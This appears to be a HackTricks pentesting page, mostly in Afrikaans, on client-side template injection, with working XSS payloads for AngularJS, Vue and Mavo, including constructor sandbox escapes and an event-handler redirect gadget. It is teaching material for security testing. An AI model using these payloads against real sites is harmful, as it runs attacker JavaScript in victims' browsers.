hacktricks/pentesting-web/client-side-template-injection-csti.md

7.8 KiB

Client Side Template Injection (CSTI)

{% hint style="success" %} Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks
{% endhint %}

WhiteIntel

WhiteIntel is 'n dark-web aangedrewe soekenjin wat gratis funksies bied om te kyk of 'n maatskappy of sy kliënte gekompromitteer is deur stealer malwares.

Hul primêre doel van WhiteIntel is om rekening oorname en ransomware aanvalle wat voortspruit uit inligting-steel malware te bekamp.

Jy kan hul webwerf besoek en hul enjin gratis probeer by:

{% embed url="https://whiteintel.io" %}


Samevatting

Dit is soos 'n Server Side Template Injection maar in die klant. Die SSTI kan jou toelaat om kode op die afstandsbediener uit te voer, die CSTI kan jou toelaat om arbitraire JavaScript kode in die slagoffer se blaaier uit te voer.

Toetsing vir hierdie kwesbaarheid is baie soortgelyk aan die geval van SSTI, die interpreter verwag 'n sjabloon en sal dit uitvoer. Byvoorbeeld, met 'n payload soos {{ 7-7 }}, as die app kwesbaar is, sal jy 'n 0 sien, en as nie, sal jy die oorspronklike sien: {{ 7-7 }}

AngularJS

AngularJS is 'n wyd gebruikte JavaScript raamwerk wat met HTML kommunikeer deur middel van eienskappe bekend as direkte, 'n noemenswaardige een is ng-app. Hierdie direkte laat AngularJS toe om die HTML-inhoud te verwerk, wat die uitvoering van JavaScript-uitdrukkings binne dubbele krulhake moontlik maak.

In scenario's waar gebruikersinvoer dinamies in die HTML liggaam ingevoeg word wat met ng-app gemerk is, is dit moontlik om arbitraire JavaScript kode uit te voer. Dit kan bereik word deur die sintaksis van AngularJS binne die invoer te benut. Hieronder is voorbeelde wat demonstreer hoe JavaScript kode uitgevoer kan word:

{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
<input ng-focus=$event.view.alert('XSS')>

<!-- Google Research - AngularJS -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>

You can find a very basic online example of the vulnerability in AngularJS in http://jsfiddle.net/2zs2yv7o/ and in Burp Suite Academy

{% hint style="danger" %} Angular 1.6 het die sandbox verwyder so vanaf hierdie weergawe moet 'n payload soos {{constructor.constructor('alert(1)')()}} of <input ng-focus=$event.view.alert('XSS')> werk. {% endhint %}

VueJS

You can find a vulnerable Vue implementation in https://vue-client-side-template-injection-example.azu.now.sh/
Working payload: https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%

And the source code of the vulnerable example here: https://github.com/azu/vue-client-side-template-injection-example

<!-- Google Research - Vue.js-->
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>

'n Regtig goeie pos oor CSTI in VUE kan gevind word in https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets

V3

{{_openBlock.constructor('alert(1)')()}}

Credit: Gareth Heyes, Lewis Ardern & PwnFunction

V2

{{constructor.constructor('alert(1)')()}}

Credit: Mario Heiderich

Kyk meer VUE payloads in https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected

Mavo

Payload:

[7*7]
[(1,alert)(1)]
<div mv-expressions="{{ }}">{{top.alert(1)}}</div>
[self.alert(1)]
javascript:alert(1)%252f%252f..%252fcss-images
[Omglol mod 1 mod self.alert (1) andlol]
[''=''or self.alert(lol)]
<a data-mv-if='1 or self.alert(1)'>test</a>
<div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>
<a href=[javascript&':alert(1)']>test</a>
[self.alert(1)mod1]

Meer payloads in https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations

Brute-Force Opsporingslys

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}

WhiteIntel

WhiteIntel is 'n dark-web aangedrewe soekenjin wat gratis funksies bied om te kontroleer of 'n maatskappy of sy kliënte gekompromitteer is deur stealer malwares.

Hul primêre doel van WhiteIntel is om rekeningoorname en ransomware-aanvalle te bekamp wat voortspruit uit inligting-steel malware.

Jy kan hul webwerf besoek en hul enjin gratis probeer by:

{% embed url="https://whiteintel.io" %}

{% hint style="success" %} Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks
{% endhint %}